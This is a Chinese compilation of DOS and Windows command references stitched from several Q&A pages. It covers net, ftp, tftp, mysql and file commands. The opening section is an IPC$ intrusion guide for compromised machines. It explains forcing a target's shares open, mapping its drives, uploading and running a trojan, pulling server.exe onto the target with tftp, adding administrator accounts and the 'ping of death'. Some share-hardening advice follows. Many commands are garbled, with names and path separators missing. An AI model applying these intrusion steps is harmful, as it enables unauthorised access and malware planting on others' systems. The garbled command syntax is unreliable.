錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
4,關於ipc$連不上的問題比較復雜,沒有總結出一個統一的認識,在肉雞上實驗有時會得出矛盾的結論,十分棘手。 而且知道了問題所在,如果沒有用其他辦法獲得shell,很多問題依然不能解決。
5,怎樣打開目標的IPC$?
答:首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬。當然,這shell必須是admin許可權的。然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法)。還是不行的話(比如有防火牆,殺不了)建議放棄。
6,怎樣映射和訪問默認共享?
答:使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤,其他盤類推。
如果已經和目標建立了ipc$,則可以直接用IP加盤符加$訪問。比如 muma.exe \IPd$pathmuma.exe 。或者再映射也可以,只是不用用戶名和密碼了:net use y: \IPd$ 。然後 muma.exe y:pathmuma.exe 。當路徑中包含空格時,須用""將路徑全引住。
7,如何刪除映射和ipc$連接?
答:用命令 net use \IPipc$ /del 刪除和一個目標的ipc$連接。
用命令 net use z: /

del 刪除映射的z盤,其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。
8,連上ipc$然後我能做什麼?
答:能使用管理員許可權的帳號成功和目標連接ipc$,表示你可以和對方系統做深入「交流」了。你可以使用各種命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享(沒開你就幫他開),你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。如果是2000server,還可以考慮開啟終端服務方便控制。這里提到的工具的使用,請看自帶的說明或相關教程。
9,怎樣防止別人用ips$和默認共享入侵我?
答:A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改注冊表。
1,先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有幾個刪幾個)
2,禁止別人空連接
首先運行regedit,找到如下主鍵[HKEY_LOCAL_]把RestrictAnonymous(DWORD)的鍵值改為:00000002。
3,禁止自動打開默認共享
對於server版,找到如下主鍵[HKEY_LOCAL_]把AutoShareServer(DWORD)的鍵值改為:00000000。
對於pro版,則是[HKEY_LOCAL_]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建一個再改鍵值。
B、另一種是關閉ipc$和默認共享依賴的服務(不推薦)
net stop lanmanserver
可能會有提示說,XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。
D、還有一個辦法就是裝防火牆,或者埠過濾

不常用DOS命令
diskcomp磁碟比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動伺服器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁碟
ver 顯示DOS版本號 smartdrv設置磁碟加速器
vol 顯示磁碟卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理

Ⅳ DOS基礎操作命令

windows系統中dos的基本操作 簡介 windows系統是現在人們使用最多的操作系統,在系統使用過程的時候有的時候需要使用到dos命令,掌握了DOS命令,將會玩轉windows系統環境!下面我為大家整理了DOS基礎操作命令大全,希望能幫到大家!

at 查看所有的計劃任務

at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機attrib 文件名(目錄名) 查看某文件(目錄)的屬性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。

cacls 文件名 查看文件的訪問用戶許可權列表

call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?

color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白 路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件 c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件 ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:

x 要復制的文件或目錄樹 目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間doskey 要鎖定的命令=字元

doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置echo 信息 在屏幕上顯示出信息

echo 信息 >> pass.txt 將」信息」保存到pass.txt文件中exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exefc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,」> 「和」> >」 是重定向命令find 文件名 查找某文件

findstr 「Hello」 aa.txt 在aa.txt文件中尋找字元串hellofinger username @host 查看最近有哪些用戶登陸for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFSftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)if 在批處理程序中執行條件處理(更多說明見if命令及變數)ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)md 目錄名 創建目錄

mem 查看cpu使用情況

more 文件名 逐屏顯示輸出文件

move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋net use ipipc$ 」 」 /user:」 」 建立IPC空鏈接net use ipipc$ 「密碼」 /user:」用戶名」 建立IPC非空鏈接net use h: ipc$ 「密碼」 /user:」用戶名」 直接登陸後映射對方C:到本地為H:

net use h: ipc$ 登陸後映射對方C:到本地為H:

net use ipipc$ /del 刪除IPC鏈接

net use h: /del 刪除映射對方到本地的為H:的映射net user 用戶名 密碼 /add 建立用戶

net user guest /active:yes 激活guest用戶

net user 查看有哪些用戶

net user 帳戶名 查看帳戶的屬性

net locaLGroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數net start 查看開啟了哪些服務

net start 服務名 開啟服務;(如:net start telnet, net start schele)net stop 服務名 停止某服務

net time 目標ip 查看對方時間

net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息net view 查看本地區域網內開啟了哪些共享

net view ip 查看對方區域網內開啟了哪些共享net config 顯示系統網路設置

net logoff 斷開連接的共享

net pause 服務名 暫停某服務

net send ip 「文本信息」 向對方發信息net ver 區域網內正在使用的網路連接類型和信息net share 查看本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除C:共享

net user guest 12345 用guest用戶登陸後用將密碼改為12345net password 密碼 更改系統登陸密碼

netstat -a 查看開啟了哪些埠,常用netstat -annetstat -n 查看埠的網路連接情況,常用netstat -annetstat -v 查看正在進行的工作

netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)netstat -s 查看正在使用的所有協議使用情況nBTstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫netsh 查看或更改本地網路配置情況

open ip 連接到IP(屬telnet登陸後的命令)

pause 暫停批處理程序,並顯示出:請按任意鍵繼續….

path 路徑可執行文件的文件名 為可執行文件設置一個路徑。

ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。

ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;regedit /e 注冊表文件名 導出注冊表

REM 文本內容 在批處理文件中添加註解

ren 原文件名 新文件名 重命名文件名

replace 源文件 要替換文件的目錄 替換文件route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interfaceset 指定環境變數名稱=要指派給變數的字元 設置環境變數set 顯示當前所有的環境變數

set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令shutdown相關命令:

-s:表示關閉本地計算機

-a:表示取消關機操作

-f:強行關閉應用程序

-m:計算機名:控制遠程計算機

-i:顯示圖形用戶界面,但必須是shutdown的第一個選項-l:注銷當前用戶

-r:關機並重啟

-t:時間:設置關機倒計時

-c:「消息內容」:輸入關機對話框中的'消息taskmgr 調出任務管理器

telnet 在本機上直接鍵入telnet 將進入本機的telnettelnet ip 埠 遠和登陸伺服器,默認埠為23title 標題名字 更改CMD窗口標題名字

tftp -i 自己IP(用目標機器作跳板時這用目標機器IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠trAcert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。

tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱type 文件名 顯示文本文件的內容

ver 在DOS窗口下顯示版本信息

winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)IIS服務命令:

iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)iisreset /start或stop 啟動(停止)所有Internet服務iisreset /restart 停止然後重新啟動所有Internet服務iisreset /status 顯示所有Internet服務狀態iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。

FTP常用命令:

ftp的命令行格式為:

ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。

-d 使用調試方式。

-n 限制ftp的自動登錄,即不使用。netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令說明

bye 或 quit 終止主機FTP進程,並退出FTP管理方式。

pwd 列出當前遠端主機目錄

put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中mget [remote-files] 從遠端主機接收一批文件至本地主機mput local-files 將本地主機中一批文件傳送至遠端主機dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件。如果有本地文件,就將結果寫至本地文件ascii 設定以ASCII方式傳送文件(預設值)

bin 或 image 設定以二進制方式傳送文件

bell 每完成一次文件傳送,報警提示

cp 返回上一級目錄

close 中斷與遠程伺服器的ftp會話(與open對應)open host[port] 建立指定ftp伺服器連接,可指定連接埠 刪除遠端主機中的文件

m [remote-files] 刪除一批文件

mkdir directory-name 在遠端主機中建立目錄rename [from] [to] 改變遠端主機中的文件名rmdir directory-name 刪除遠端主機中的目錄status 顯示當前FTP的狀態

system 顯示遠端主機系統類型

user user-name [password] [account] 重新以別的用戶名登錄遠端主機open host [port] 重新建立一個新的連接

prompt 交互提示模式

macdef 定義宏命令

lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄chmod 改變遠端主機的文件許可權

case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母cd remote-dir 進入遠程主機目錄

cp 進入遠程主機目錄的父目錄

! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zipMYSQL 命令:

mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。

(例:mysql -h110.110.110.110 -Uroot -P123456註:u與root可以不用加空格,其它也一樣)

exit 退出MYSQL

mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼grant select on 資料庫。* to 用戶名@登錄主機 identified by 「密碼」; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。

use mysql;

show tables; 顯示庫中的數據表

describe 表名; 顯示數據表的結構

create database 庫名; 建庫

use 庫名;

create table 表名 (欄位設定列表); 建表drop database 庫名;

表名; 刪庫和刪表

from 表名; 將表中記錄清空

select * from 表名; 顯示表中的記錄

mysqlmp –opt school>school.bbb 備份資料庫:(命令在DOS的mysqlin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取。

Ⅵ 求dos基本命令

1、dir——顯示文件和目錄
命令格式:dir[盤符:][路徑:][文件名][參數],它有以下幾個參數:
/p:分屏顯示
/w:寬屏顯示
/a:顯示具有特殊屬性的文件等。
/s:顯示當前目錄和子目錄下所有文件。
這幾個參數可以任意組合使用
2、md——建立子目錄
命令格式:md[盤符:][路徑:]
3、rd——刪除空目錄
命令格式:rd[盤符:][路徑:]
它不能刪除當前目錄。
4、cd——進入指定目錄
命令格式:cd[路徑:]
只能進入當前盤符的目錄,但是「cd\」命令可以回到根目錄,cd..命令可以回到上級目錄。
5、——復制文件
命令格式:[源目錄或文件][目的目錄或文件]
它不能用來創建目錄,所以目的目錄或文件一定要存在。另外,這個命令還可以用來合並文件,格式為:
filename
+filename... allfile(把多個文件合並復制到allfile文件中)。還有就是有一個x命令,格式類似,可以將不同類型的文件合並在一起,告訴大家一個小秘決,當你把一個文本文件和一個圖片合並在一起時,新的文件就會顯示圖片,嘿嘿,若你有不想讓別人可以看到文件,就是用此方法把它隱藏掉!
6、del——刪除文件
命令格式:del[盤符:][路徑:][文件名:][參數:]
它只有一個參數:/p,使用戶在刪除文件時都顯示刪除詢問。
7、ren——更改文件和目錄名
8、cls——清屏命令
9、dis——磁碟復制
10、pass——設定dos尋找可執行文件的所在目錄。
11、type——顯示文本文件
12、time——設置時間
13、ver——顯示dos版本信息
14、chkdsk——檢查磁碟使用情況
15、mem——檢查內存使用情況
16、sys——傳遞系統文件
17、date——設置日期
『it精英組織』
乄∨ip╭蟲兒
真誠為您服務
如果問題解決了
麻煩您給個"好評"!謝謝支持~

Ⅶ dos命令大全及用法

dos命令大全及用法如下:

1、PING。PING命令是我們用來檢查我們網路是不是連接,以及網路連接的速度是多少的命令。PING命令所根據的就是,我們的每一台電腦都有唯一的一個ip地址,我們使用這個ip然後給一個目標ip發送一個數據包,我們查看ping命令的一些參數和用法我們可以在dos窗戶輸入ping/?然後回車就可以了。

2、NBTSTAT。NBTSTAT命令主要的用於就是查看我們電腦的mac地址以及我們電腦的NetBIOS信息,而且NBTSTAT命令還可以為我們消除NetBIOS高速緩存器,還可以加在LMHOSTS文件。這個命令在我們進行一些安全檢查的時候是非常重要的,是使用比較多的,我們查看它的用法和參數,在dos窗口輸入nbtstat/?然後回車就可以了。

3、NETSTAT。如果我們想查看我們電腦和ip、tcp還有icmp等等的一些協議的統計數據,我們就可以使用NETSTAT命令,NETSTAT命令的主要作用就是檢查我們點奧各個埠的網路連接的情況。查看NETSTAT命令的參數和用法在dos窗口輸入netstat/?。

4、TRACERT。如果想確定我們本機的一些ip數據的訪問目標,我們可以使用TRACERT命令,TRACERT命令就是一個路由跟蹤的程序。TRACERT命令可以生成一定的數據然後確定我們本機到其他網路上的路徑。顯示TRACERT命令的方法是在dos窗口輸入tracert/?。

5、NET。如果說哪些命令是dos命中比較重要的,那一定有net命令,而且net命令的每一個子命令都很重要,一定要都了解,而且能熟練地使用,net命令的功能非常強大,是我們最好的入侵工具,常看net命令的參數和用法在dos窗口輸入net/?。

Ⅷ 常用的DOS命令

網上抄的,好多... 你慢慢看吧

1)DIR--顯示指定路徑上所有文件或目錄的信息
它的格式為"DIR [盤符:][路徑][文件名] [參數]",比如"DIR E:\FF.M3U"。輸入後回車則會顯示出相關信息(如圖1)。另外它還有幾個參數:

/W:寬屏顯示,一排顯示5個文件名,而不會顯示修改時間,文件大小等信息;
/P:分頁顯示,當屏幕無法將信息完成顯示時,可使用其進行分頁顯示;
/A:顯示具有特殊屬性的文件,這里的屬性有"H"隱藏、"R"只讀等,我們可以輸入"DIR *.* /AH"來顯示當前目錄下所有具有隱藏屬性的文件;
/S:顯示當前目錄及其子目錄下所有的文件,通過這個參數,我們可以進行某個文件或目錄的查找,比如我們可以在"C:>"後輸入"DIR *.DAT /S"來查找C盤中所有後綴名為DAT的文件。

幾種參數可以同時使用,例如"DIR *.COM /W /P /S"。

2)MD--建立目錄
它的格式為"MD [盤符][路徑]",例如"MD TEMP"。
注意:該命令一次只能建立一個目錄。

3)RD--刪除目錄格式為"RD [盤符][路徑]"。
注意:該命令只能刪除空目錄,並且不能刪除當前目錄。

4)CD--進入指定目錄
格式為" CD [路徑]",例如"CD HAPPY"。
注意:只能進入當前盤符中的目錄。其中"CD\"為回到根目錄,"CD.."為回到上一層目錄。

5)COPY--拷貝文件
格式為"COPY [源目錄或文件] [目的目錄或文件]",比如"COPY C:\*.COM D:\",我們也可以輸入"COPY C:\Command.COM D:\Command.BAK"來進行文件拷貝並改名。
注意:使用該命令進行文件拷貝時,目的目錄一定要存在。

6)DEL--刪除文件
格式為"DEL [盤符][路徑][文件名] [參數]",比如"DEL C:\DATA\*.BAK"。它有一個參數:"/P",可以使用戶在刪除多個文件時對每個文件都顯示刪除詢問

7)REN--改名
格式為"REN [原名] [現名]",7.0以後版本的DOS都支持對文件名和目錄名的修改,而以前的DOS只能修改文件名。

8)TYPE--顯示文本文件
格式為"TYPE [文件名]",能對文本文件進行查看。

9)dis--磁碟復制

[功能] 復制出一個和原來磁碟內容一模一樣的磁碟

[格式] disk 源驅動器名 目的驅動器名

[說明] 它的主要用途就是用來備份。比如我們的電腦在剛買來時,會隨機附帶一些設備驅動程序磁碟,這些驅動程序在以後都有可能用到,為防止這些磁碟的損壞,一定要將它們都備份一套,這時,使用disk命令是比較快捷和方便的。

10) deltree--刪除目錄樹

[格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]

[說明] 這個命令將整個指定目錄樹全部消滅,而不管它是否是只讀、隱藏與否。使用應特別小心。它是一個危險命令。

11) mem--查看你的計算機內存有多少,以及內存的使用情況。

[格式] 直接鍵入mem命令

12) chkdsk--檢查你的磁碟的使用情況。

[格式] chkdsk 磁碟名

[說明] 例如要檢查A盤使用情況,就輸入chkdsk A: ,檢查c盤使用情況,就輸入chkdsk C: ,如果直接輸入chkdsk,就檢查當前磁碟的使用情況。

13) sys--傳遞系統文件命令。將DOS的兩個隱含的系統IO.SYS和MSDOS.SYS傳送到目標磁碟的特定位置上,並將COMMAND.COM文件復制過去。完成後,目標盤成為DOS的啟動盤。

[格式] [C:][path]SYS [C1:][path] d2:

[說明] 由於這幾個文件需要復制到特定位置上,所以用COPY命令完成的復制未必能夠啟動機器。能過SYS命令,DOS可以將目標盤已佔據特定位置的文件移動,並將系統文件復制到相應位置上。參數C1:path用來指明系統文件所在目錄。如不指明,則預設為當前盤的當前目錄。所以這個命令一般要在源盤的根目錄進行。

14) pass--設定DOS尋找.COM、.EXE、.BAT文件的所在目錄

[格式] path=[[drive:]path[;…]]或path

[說明] 只打path沒有參數時,只顯示環境變數內容。有參數時,重新設置path變數。在沒有指定path環境變數時,用戶發出的命令,DOS首先判斷其是否為內部命令,再查找當前目錄中是否有主文件名是該命令的可執行文件,如果均不是,則顯示信息「Bad command or filename」。如果發出了指定路徑的命令,則在指定徑中依次查找,仍找不到則出現上述提示。

15) cls--清除顯示器屏幕上的內容,使DOS提示符到屏幕左上角。

[格式] cls

16) time--顯示和設置DOS的系統時間

[格式] time [hh[:mm[:ss[.cc]]]

17) date--顯示和設置DOS的系統日期

[格式] date [MM-DD-YY]

18) ver--顯示正在運行的DOS系統版本號

[格式] ver

DOS的外部命令

DOS的外部命令就是一些應用程序,能夠使用戶的操作更加方便和深入。這些外部命令都是以文件的形式存在,Windows系統的DOS外部命令保存在Windwos主目錄下的"Command"目錄中。下面就讓我們來看看常用的一些DOS外部命令。

1)FORMAT(Format.COM)--格式化命令
眾所周知,新買的磁碟都必須經過格式化後方能使用,FORMAT命令可以完成對軟盤和硬碟的格式化操作,格式為"FORMAT [盤符] [參數]",例如:"FORMAT A: /S"。它有兩個常見的參數:

/Q:進行快速格式化;
/S:完成格式化,並將系統引導文件拷貝到該磁碟。

注意:該命令會清除目的磁碟上的所有數據,一定要小心使用

。如果進行了普通的格式化,那磁碟上的數據還有可能恢復,但如果加上了"/Q",那要恢復就比蹬天還難了。

2)EDIT(Edit.COM)--編輯命令
其實它就是一個文本編輯軟體(如圖3),使用它可以在DOS下方便地對文本文件進行編輯,格式為"EDIT [文件名] [參數]",它的參數不是特別實用,我在此就不多講。

3)SYS(Sys.COM)--系統引導文件傳輸命令
它能夠將IO.SYS等幾個文件傳輸到目的磁碟,使其可以引導、啟動。格式為"SYS [盤符]"

4)ATTRIB(Attrib.EXE)--文件屬性設置命令
通過該命令,我們可以對文件進行屬性的查看和更改。格式為"ATTRIB [路徑][文件名] [參數]",如果不加參數則為顯示文件屬性。它的參數有" ?"和"-?"兩種,"?"代表屬性代號,這些代號有:"H"隱藏;"S"系統;"R"只讀," "表示賦予,"-"表示去除。

5)XCOPY(X.EXE)--拷貝命令
該命令在"COPY"的基礎上進行了加強,能夠對多個子目錄進行拷貝。它的參數比較多,但是最常用的是"/S",它可以對一個目錄下屬的多個子目錄進行拷貝,另外"/E"可以拷貝空目錄。格式為"XCOPY [源路徑][源目錄/文件名] [目的目錄/文件名] [參數]"。

6)SCANDISK(Scandisk.EXE)--磁碟掃描程序
這個命令在實際的操作中有很大的用處,它能對磁碟進行掃描並修復,能夠解決大部分的磁碟文件損壞問題。格式為"SCANDISK [盤符:] [參數]"下面是它的幾個參數:

/fragment 〔驅動器名:\路徑\文件名〕:使用這個參數可以顯示文件是否包含有間斷的塊,我們可以通過運行磁碟整理程序來解決這個問題;
/all:檢查並修復所有的本地驅動器;
/autofix:自動修復錯誤,即在修復時不會出現提示;
/checkonly:僅僅檢查磁碟,並不修復錯誤;
/custom:根據Scandisk.ini文件的內容來運行Scandisk,Scandisk.ini是一個文本文件,它包含了對Scandisk程序的設置,其中的〔custom〕塊是在加上"/custom"參數後才執行的,用戶可以根據自己的不同情況來進行不同的設置;
/nosave:在檢查出有丟失簇後直接刪除,並不轉化為文件;
/nosummary:不顯示檢查概要,完成檢查後將直接退出程序;
/surface:在完成初步檢查後進行磁碟表面掃描;
/mono:以單色形式運行Scandisk。

我們可以根據不同的情況來加上不同的參數。我們可以執行"scandisk /all /checkonly /nosave /nosummary"來完成對磁碟的檢查並且自動退出,另外還可以編輯scandisk.ini文件中設置,再運行"scandisk /custom"。如果被損壞的文件比較多,我們可以使用"/autofix"來進行自動修復,不然會忙死你的。

7)CHKDSK(Chkdsk.EXE)--磁碟檢查命令
它會檢查磁碟,並會顯示一個磁碟狀態報告。格式為"CHKDSK [盤符:] [參數]",最常用的參數是"/F",可以對文件錯誤進行修復。

8)MOVE(Move.EXE)--文件移動命令

使用它可以對文件進行移動。格式為"MOVE [源文件] [目的路徑]"。同時也可以使用通配符。

9)DELTREE(Deltree.EXE)--刪除命令
這可是DEL命令的超級加強版,它不僅可以刪除文件,並且會將指定目錄和其下的所有文件和子目錄一並刪掉。使用它,我們可以很方便的對目錄進行徹底的刪除。格式"DELTREE [文件/路徑] [參數]",參數有一個"/Y",使用時系統會對每個文件進行詢問,回答"Y"後才刪除。

10)FDISK(Fdisk.EXE)--分區命令
我們可以使用它對硬碟進行分區操作,我在下一部分會進行具體講解。

Ⅸ 關於DOS命令

分類: 電腦/網路 >> 反病毒
問題描述:

請大家告訴我一些DOS的常用命令.和一些關於電腦硬體和網路架設方便的通用的.好一點的書.謝謝.

解析:

DOS常用命令

要想操作使用DOS,知道一些常用命令是非常重要的。以下是一些命令的用法。

文件名是由文件路徑和文件名稱合起來的,如C:\DOS\COMMAND.COM。

DIR 顯示文件和文件夾(目錄)。

用法:DIR [文件名] [選項]

它有很多選項,如/A表示顯示所有文件(即包括帶隱含和系統屬性的文件),/S表示也顯示子文件夾中的文件,/P表示分屏顯示,/B表示只顯示文件名,等等。

如 DIR A*.EXE /A /P

此命令分屏顯示當前文件夾下所有以A開頭後綴為EXE的文件(夾)。

CD或CHDIR 改變當前文件夾。

用法:CD [文件夾名]

若無文件夾名則顯示當前路徑。

MD或MKDIR 建立文件夾。

用法:MD 文件夾名

RD或RMDIR 刪除文件夾。

用法:RD 文件夾名

注意:此文件夾必須是空的。

DEL或ERASE 刪除文件。

用法:DEL/ERASE 文件名

COPY 拷貝文件。

用法: COPY 文件名1 [文件名2] [選項]

如 COPY /B A+B C

此命令將兩個二進制文件A和B合為一個文件C。

TYPE 顯示文件內容。

用法:TYPE 文件名

REN或RENAME 改變文件名,在DOS7中還可以改變文件夾名。

用法:REN 文件(夾)名1 文件(夾)名2

EDIT 編輯文件,在DOS7中還可以編輯二進制文件。

用法:EDIT [文件名] [選項]

如 EDIT /70 C:\COMMAND.COM

此命令以二進制方式編輯C:\COMMAND.COM文件。

FORMAT 格式化磁碟。

用法:FORMAT 驅動器 [選項]

它的選項很多,如/Q是快速格式化,/U表示無條件格式化(即無法使用UNFORMAT等命令恢復),/V指定磁碟的卷標名,等等。它還有許多未公開參數。

MEM 顯示內存狀態。

用法:MEM [選項]

它的選項也有不少,如/C可列出所有程序的內存佔用,/D是顯示駐留內存的程序及設備驅動程序的狀態等詳細信息,/F顯示空閑的內存總量,/M顯示內存中的模塊信息,/P則是分屏顯示。還有隱藏的/A選項,可以顯示HMA信息。

MOVE 移動文件或文件夾,還可以更改文件或文件夾的名稱。

用法:MOVE 文件[夾]1 文件[夾]2

如 MOVE C:\*.EXE D:

此命令可以將C盤根文件夾下所有擴展名為EXE的文件移到D盤上。

XCOPY 復制文件或文件夾。

用法:XCOPY 文件[夾]名1 [文件[夾]名2] [選項]

